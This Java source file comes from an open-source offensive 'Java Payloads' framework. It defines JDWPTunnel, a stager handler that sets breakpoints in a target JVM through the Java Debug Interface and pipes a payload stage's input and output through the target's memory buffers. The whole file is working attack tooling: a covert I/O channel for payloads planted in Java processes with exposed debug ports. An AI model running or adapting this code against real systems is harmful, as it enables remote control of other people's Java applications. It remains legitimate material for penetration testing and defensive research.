/* * Java Payloads. * * Copyright (c) 2010, Michael 'mihi' Schierl * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * - Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * - Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * - Neither name of the copyright holders nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ package javapayload.handler.stager; import java.io.PipedInputStream; import java.io.PipedOutputStream; import java.io.PrintStream; import java.util.Arrays; import java.util.List; import javapayload.handler.stage.StageHandler; import com.sun.jdi.ArrayReference; import com.sun.jdi.ByteValue; import com.sun.jdi.ClassType; import com.sun.jdi.LocalVariable; import com.sun.jdi.Location; import com.sun.jdi.Method; import com.sun.jdi.ThreadReference; import com.sun.jdi.VirtualMachine; import com.sun.jdi.event.BreakpointEvent; import com.sun.jdi.event.Event; import com.sun.jdi.event.EventIterator; import com.sun.jdi.event.EventSet; import com.sun.jdi.request.BreakpointRequest; import com.sun.jdi.request.EventRequest; public class JDWPTunnel extends StagerHandler implements Runnable { private ClassType communicationClass; private WrappedPipedOutputStream pipedOut; private PipedInputStream pipedIn; private PrintStream errorStream; protected void handle(StageHandler stageHandler, String[] parameters, PrintStream errorStream, Object extraArg) throws Exception { this.errorStream = errorStream; if (extraArg == null || !(extraArg instanceof ClassType)) throw new IllegalArgumentException("No JDWP communication class found"); communicationClass = (ClassType) extraArg; VirtualMachine vm = communicationClass.virtualMachine(); if (vm.eventRequestManager().stepRequests().size() > 0) { throw new RuntimeException("Some threads are currently stepping"); } if (vm.eventRequestManager().breakpointRequests().size() > 0) { throw new RuntimeException("There are some breakpoints set"); } PipedOutputStream pos = new PipedOutputStream(); pipedOut = new WrappedPipedOutputStream(pos); pipedIn = new PipedInputStream(); new Thread(this).start(); stageHandler.handle(new WrappedPipedOutputStream(new PipedOutputStream(pipedIn)), new PipedInputStream(pos), parameters); } public void run() { VirtualMachine vm = communicationClass.virtualMachine(); try { Location interceptIn = ((Method)communicationClass.methodsByName("interceptIn").get(0)).locationOfCodeIndex(2); Location interceptOut = ((Method)communicationClass.methodsByName("interceptOut").get(0)).locationOfCodeIndex(2); BreakpointRequest req = vm.eventRequestManager().createBreakpointRequest(interceptIn); req.setSuspendPolicy(EventRequest.SUSPEND_EVENT_THREAD); req.setEnabled(true); req = vm.eventRequestManager().createBreakpointRequest(interceptOut); req.setSuspendPolicy(EventRequest.SUSPEND_EVENT_THREAD); req.setEnabled(true); final com.sun.jdi.event.EventQueue q = vm.eventQueue(); boolean done = false; errorStream.println("== Handling I/O events..."); while (true) { final EventSet es; if (!done) { es = q.remove(); } else { es = q.remove(1000); if (es == null) { break; } } for (final EventIterator ei = es.eventIterator(); ei.hasNext();) { final Event e = ei.nextEvent(); if (!done && e instanceof BreakpointEvent) { final BreakpointEvent be = (BreakpointEvent) e; final Location loc = be.location(); final ThreadReference tr = be.thread(); if (loc.equals(interceptIn)) { LocalVariable result = (LocalVariable) loc.method().variablesByName("result").get(0); LocalVariable buffer = (LocalVariable) loc.method().arguments().get(0); ArrayReference buf = (ArrayReference) tr.frame(0).getValue(buffer); new InputInterceptHandler(tr, buf, result).start(); } else if (loc.equals(interceptOut)) { LocalVariable result = (LocalVariable) loc.method().variablesByName("result").get(0); LocalVariable data = (LocalVariable) loc.method().arguments().get(0); ArrayReference buf = (ArrayReference) tr.frame(0).getValue(data); List values = buf.getValues(); byte[] temp = new byte[buf.length()]; for (int i = 0; i < temp.length; i++) { temp[i] = ((ByteValue)values.get(i)).byteValue(); } pipedOut.write(temp); pipedOut.flush(); if (temp.length == 0) { pipedOut.close(); pipedIn.close(); done = true; } tr.frame(0).setValue(result, vm.mirrorOf(true)); tr.resume(); } else { throw new RuntimeException("Unknown location: "+loc); } } else { System.out.println("== Unknown event received: " + e.toString()); es.resume(); } } } } catch(Throwable t) { t.printStackTrace(errorStream); } vm.dispose(); } protected boolean needHandleBeforeStart() { return false; } public class InputInterceptHandler extends Thread { private final ThreadReference thread; private final ArrayReference buffer; private final LocalVariable result; public InputInterceptHandler(ThreadReference thread, ArrayReference buffer, LocalVariable result) { this.thread = thread; this.buffer = buffer; this.result = result; setDaemon(true); } public void run() { try { byte[] temp = new byte[buffer.length()]; int len = pipedIn.read(temp); if (len > 0) { ByteValue[] bytes = new ByteValue[len]; for (int i = 0; i < bytes.length; i++) { bytes[i] = thread.virtualMachine().mirrorOf(temp[i]); } buffer.setValues(0, Arrays.asList(bytes), 0, len); } thread.frame(0).setValue(result, thread.virtualMachine().mirrorOf(len)); thread.resume(); } catch (Throwable t) { t.printStackTrace(errorStream); } } } }